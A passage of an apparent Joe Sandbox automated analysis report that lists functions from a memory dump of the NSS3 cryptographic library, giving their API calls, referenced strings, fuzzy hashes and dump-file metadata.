free.MOZGLUE(?), ref: 6C8310A7
free.MOZGLUE(?), ref: 6C8310B4
PR_DestroyCondVar.NSS3(?), ref: 6C8310BF
PR_DestroyCondVar.NSS3(?), ref: 6C8310CA
PR_DestroyCondVar.NSS3(?), ref: 6C8310D5
PR_DestroyCondVar.NSS3(?), ref: 6C8310E0
PR_DestroyLock.NSS3(?), ref: 6C8310EB
free.MOZGLUE(?), ref: 6C831105

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: e54d824dc3321c139e04eb95463ee6ec2fd7b34f928c389229615f8a7b3a5bf9
Instruction ID: 8661e2e120ced8276c2f04bc6bd62cfefbecb3202ce41a9568a6cbeb37a432ad
Opcode Fuzzy Hash: e54d824dc3321c139e04eb95463ee6ec2fd7b34f928c389229615f8a7b3a5bf9
Instruction Fuzzy Hash: 66318BF6A00412ABDB12AF54EE4AA85B771BF1171DB185131E80903F61E732F978DBD2

Function 6C6ADC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6ADD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C6ADD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6ADE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C6ADEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6ADECD

Strings

%s at line %d of [%.10s], xrefs: 6C6ADF7C, 6C6ADFEC
database corruption, xrefs: 6C6ADF77, 6C6ADFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6ADF6D, 6C6ADFCC, 6C6ADFDD

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: c686fe64d6dbf782fe78a526446cfbe502b48cf6a42182bfc21018ced1a718f0
Instruction ID: 056a296362512e779cbb64b72763c42dc9eb522aa8ff8dfdc0c5ef9f65125fa3
Opcode Fuzzy Hash: c686fe64d6dbf782fe78a526446cfbe502b48cf6a42182bfc21018ced1a718f0
Instruction Fuzzy Hash: 66A1C3716042119BC710DFA9C880AABB7F5AF85308F15892DEC898BB51E770EC56CBA5

Function 6C76EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C76EE0B

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76EEE1

Part of subcall function 6C761D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C761D7E
Part of subcall function 6C761D50: EnterCriticalSection.KERNEL32(?), ref: 6C761D8E
Part of subcall function 6C761D50: PR_Unlock.NSS3(?), ref: 6C761DD3

TlsGetValue.KERNEL32 ref: 6C76EE51
EnterCriticalSection.KERNEL32(?), ref: 6C76EE65
PR_Unlock.NSS3(?), ref: 6C76EEA2
free.MOZGLUE(?), ref: 6C76EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C76EED0
PR_Unlock.NSS3(?), ref: 6C76EF48
free.MOZGLUE(?), ref: 6C76EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C76EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C76EFA4
free.MOZGLUE(?), ref: 6C76EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C76F055
free.MOZGLUE(?), ref: 6C76F060

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 0dabf1595108ae2f81a1e550cd602ae4a3086d669116da9ebb7f5634db52cad2
Instruction ID: eac8a286e6990e4fb325f6d3a8796926fc8f1939cedc310a7b7f8f6cf17eaeab
Opcode Fuzzy Hash: 0dabf1595108ae2f81a1e550cd602ae4a3086d669116da9ebb7f5634db52cad2
Instruction Fuzzy Hash: FF8161B1A002099BEF01DF65DD49ADE7BB9BF49318F184034ED09A3A11E731E924CBE1

Function 6C734CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C734D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C734D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C734DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C734E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C734E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C734E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C734E85
DER_Encode_Util.NSS3(?,?,6C8805A4,00000000), ref: 6C734EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C734F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C734F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C734F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C734F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C734F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C734FC8

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 51d550856e01f1d3a11e3c847f80c3ce7323e948acf39b0c08844c344b979788
Instruction ID: 2ee1d5e6f1fd710d095d1ead8d78ab9ec14ddf18e21be404c0aff74608d7b449
Opcode Fuzzy Hash: 51d550856e01f1d3a11e3c847f80c3ce7323e948acf39b0c08844c344b979788
Instruction Fuzzy Hash: 4581C3719043129FE715CF24DE44B5ABBE8AB84318F189539F95CDB642E732EA04CB92

Function 6C775C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C775C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C775CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C775CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C775D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C775D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C775D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C775E18
TlsGetValue.KERNEL32 ref: 6C775E5E
EnterCriticalSection.KERNEL32(?), ref: 6C775E72
PR_Unlock.NSS3(?), ref: 6C775E8B

Part of subcall function 6C76F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C76F854
Part of subcall function 6C76F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C76F868
Part of subcall function 6C76F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C76F882
Part of subcall function 6C76F820: free.MOZGLUE(04C483FF,?,?), ref: 6C76F889
Part of subcall function 6C76F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C76F8A4
Part of subcall function 6C76F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C76F8AB
Part of subcall function 6C76F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C76F8C9
Part of subcall function 6C76F820: free.MOZGLUE(280F10EC,?,?), ref: 6C76F8D0

Strings

d, xrefs: 6C775C36
tokens=[0x%x=<%s>], xrefs: 6C775D3D

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: ab12087e6726b05102ceae68c13feaebf0dd04ad64586cca63589b68f2ffcec3
Instruction ID: c4a599e639200207bfc84f58afedb24201df9fce7d7c460b1228cb4b15cbee5e
Opcode Fuzzy Hash: ab12087e6726b05102ceae68c13feaebf0dd04ad64586cca63589b68f2ffcec3
Instruction Fuzzy Hash: CD71F6F0A051099BEF619F25EF4976E3279AF4131CF140035D8199AB42EB72E915C7F2

Function 6C768F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C769582), ref: 6C768F5B

Part of subcall function 6C77BE30: SECOID_FindOID_Util.NSS3(6C73311B,00000000,?,6C73311B,?), ref: 6C77BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C768F6A

Part of subcall function 6C780FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7287ED,00000800,6C71EF74,00000000), ref: 6C781000
Part of subcall function 6C780FF0: PR_NewLock.NSS3(?,00000800,6C71EF74,00000000), ref: 6C781016
Part of subcall function 6C780FF0: PL_InitArenaPool.NSS3(00000000,security,6C7287ED,00000008,?,00000800,6C71EF74,00000000), ref: 6C78102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C768FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C768FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C84D820,6C769576), ref: 6C768FF9
DER_GetInteger_Util.NSS3(?), ref: 6C76901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C76903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C769062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C7690A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C7690CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C7690F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C76912D
free.MOZGLUE(00000000), ref: 6C769136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C769145

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 4bd7e890da151051b93edf15b5b3ec18e7060750c3f06bead82dabff0e010754
Instruction ID: 39c89ab00e5926368bd02d424c4e1467643c3e360a7e1e8436ba651c1618efcf
Opcode Fuzzy Hash: 4bd7e890da151051b93edf15b5b3ec18e7060750c3f06bead82dabff0e010754
Instruction Fuzzy Hash: BD5113B1A042009BEB10CF29DE48B9BB7E4AF94358F144939EC58C7B01E731E949CBD2

Function 6C834960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000004,?,6C838061,?,?,?,?), ref: 6C83497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6C83499E
GetLastError.KERNEL32(?,?,6C838061,?,?,?,?), ref: 6C8349AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,6C838061,?,?,?,?), ref: 6C8349C2

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,6C838061,?,?,?,?), ref: 6C8349D6
CreateSemaphoreA.KERNEL32(00000000,6C838061,7FFFFFFF,?), ref: 6C834A19
GetLastError.KERNEL32(?,?,?,?,6C838061,?,?,?,?), ref: 6C834A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,6C838061,?,?,?,?), ref: 6C834A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,6C838061,?,?,?,?), ref: 6C834A52
GetLastError.KERNEL32(?,?,?,?,6C838061,?,?,?,?), ref: 6C834A5A
free.MOZGLUE(00000000,?,?,?,?,?,6C838061,?,?,?,?), ref: 6C834A6A
CreateSemaphoreA.KERNEL32(?,6C838061,7FFFFFFF,?), ref: 6C834A9A
free.MOZGLUE(?,?,?,?,?,6C838061,?,?,?,?), ref: 6C834AAE
free.MOZGLUE(?,?,?,?,?,6C838061,?,?,?,?), ref: 6C834AC2

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: 7eac9906865802d4fd920d6fa2d127a0d2b4948ffae95cc70f5d3d23319b1d16
Instruction ID: bf6001a001a4c5fb62326c72863b8d8e70a902e1d67aeb361d71da6516f8b860
Opcode Fuzzy Hash: 7eac9906865802d4fd920d6fa2d127a0d2b4948ffae95cc70f5d3d23319b1d16
Instruction Fuzzy Hash: 6E41C470B002259BDB20AFE88E4DB4E7BB4ABCA359F141434E919A7641E7329404C7F5

Function 6C83C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6C83C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C83C8DA
malloc.MOZGLUE(00000001), ref: 6C83C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C83C8F8
PR_NewLock.NSS3 ref: 6C83C909
PR_NewCondVar.NSS3(00000000), ref: 6C83C918
PR_NewCondVar.NSS3(00000000), ref: 6C83C92A

Part of subcall function 6C710F00: PR_GetPageSize.NSS3(6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F1B
Part of subcall function 6C710F00: PR_NewLogModule.NSS3(clock,6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F25

free.MOZGLUE(00000000), ref: 6C83C947

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: 520f23bec4ddbd03634c9b3fb1f4adcd2ba2d0b7bded02083e96136d426ec194
Instruction ID: 96d097710cef682701695c27fac7f2c0d15b652c534dc8256493f6cf304138fc
Opcode Fuzzy Hash: 520f23bec4ddbd03634c9b3fb1f4adcd2ba2d0b7bded02083e96136d426ec194
Instruction Fuzzy Hash: 4C21C4F1A002355BDB21AFB99D0D65B76B8AF05259F051938E85EC3A02F731E514C7E2

Function 6C71AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C71AF47

Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E90AB
Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E90C9
Part of subcall function 6C7E9090: EnterCriticalSection.KERNEL32 ref: 6C7E90E5
Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E9116
Part of subcall function 6C7E9090: LeaveCriticalSection.KERNEL32 ref: 6C7E913F

FreeLibrary.KERNEL32(?), ref: 6C71AF6D
free.MOZGLUE(?), ref: 6C71AFA4
free.MOZGLUE(?), ref: 6C71AFAA
PR_ExitMonitor.NSS3 ref: 6C71AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C71AFF5
PR_ExitMonitor.NSS3 ref: 6C71B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C71B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C71B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C71B03C

Strings

%s decr => %d, xrefs: 6C71AFF0
Unloaded library %s, xrefs: 6C71B023

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: a056cf36bf0cac24f04f365fd977df785606fefc219c5227b607bef70e97a759
Instruction ID: 66f9a0bc5dc8879f78e0dbab12e323f1723bcb0bff8e8c4cd183ac77a06d4127
Opcode Fuzzy Hash: a056cf36bf0cac24f04f365fd977df785606fefc219c5227b607bef70e97a759
Instruction Fuzzy Hash: 3931F1B5A08111AFDB11DE68DE48A5AB778EB0632CB1C4135EC1597F41E722E82CC7E2

Function 6C766C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C76781D,00000000,6C75BE2C,?,6C766B1D,?,?,?,?,00000000,00000000,6C76781D), ref: 6C766C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C76781D,?,6C75BE2C,?), ref: 6C766C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C76781D), ref: 6C766C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C766C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C766C96

Part of subcall function 6C711240: TlsGetValue.KERNEL32(00000040,?,6C71116C,NSPR_LOG_MODULES), ref: 6C711267
Part of subcall function 6C711240: EnterCriticalSection.KERNEL32(?,?,?,6C71116C,NSPR_LOG_MODULES), ref: 6C71127C
Part of subcall function 6C711240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C71116C,NSPR_LOG_MODULES), ref: 6C711291
Part of subcall function 6C711240: PR_Unlock.NSS3(?,?,?,?,6C71116C,NSPR_LOG_MODULES), ref: 6C7112A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C766CAA

Strings

dbm, xrefs: 6C766CA4
extern:, xrefs: 6C766C7E
dbm:, xrefs: 6C766C3A
sql:, xrefs: 6C766C52
NSS_DEFAULT_DB_TYPE, xrefs: 6C766C91
rdb:, xrefs: 6C766C69

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: c476f9d7c407f67fa306185d2f91ee73a1dd6245da52a8fed29d894e990ad9ed
Instruction ID: df9ab84068845aeb8cca2290d72b1d92c696e6c9d891e0fcf4bc98d0fa01601f
Opcode Fuzzy Hash: c476f9d7c407f67fa306185d2f91ee73a1dd6245da52a8fed29d894e990ad9ed
Instruction Fuzzy Hash: 7C01A7A170271127F6202B7B5F4DF16655C9F4225DF140831FE04E1F42FAA6E61480F5

Function 6C774E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C7378F8), ref: 6C774E6D

Part of subcall function 6C7109E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C7106A2,00000000,?), ref: 6C7109F8
Part of subcall function 6C7109E0: malloc.MOZGLUE(0000001F), ref: 6C710A18
Part of subcall function 6C7109E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C710A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C7378F8), ref: 6C774ED9

Part of subcall function 6C765920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C767703,?,00000000,00000000), ref: 6C765942
Part of subcall function 6C765920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C767703), ref: 6C765954
Part of subcall function 6C765920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C76596A
Part of subcall function 6C765920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C765984
Part of subcall function 6C765920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C765999
Part of subcall function 6C765920: free.MOZGLUE(00000000), ref: 6C7659BA
Part of subcall function 6C765920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C7659D3
Part of subcall function 6C765920: free.MOZGLUE(00000000), ref: 6C7659F5
Part of subcall function 6C765920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C765A0A
Part of subcall function 6C765920: free.MOZGLUE(00000000), ref: 6C765A2E
Part of subcall function 6C765920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C765A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774EB3

Part of subcall function 6C774820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C774EB8,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C77484C
Part of subcall function 6C774820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C774EB8,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C77486D
Part of subcall function 6C774820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C774EB8,?), ref: 6C774884

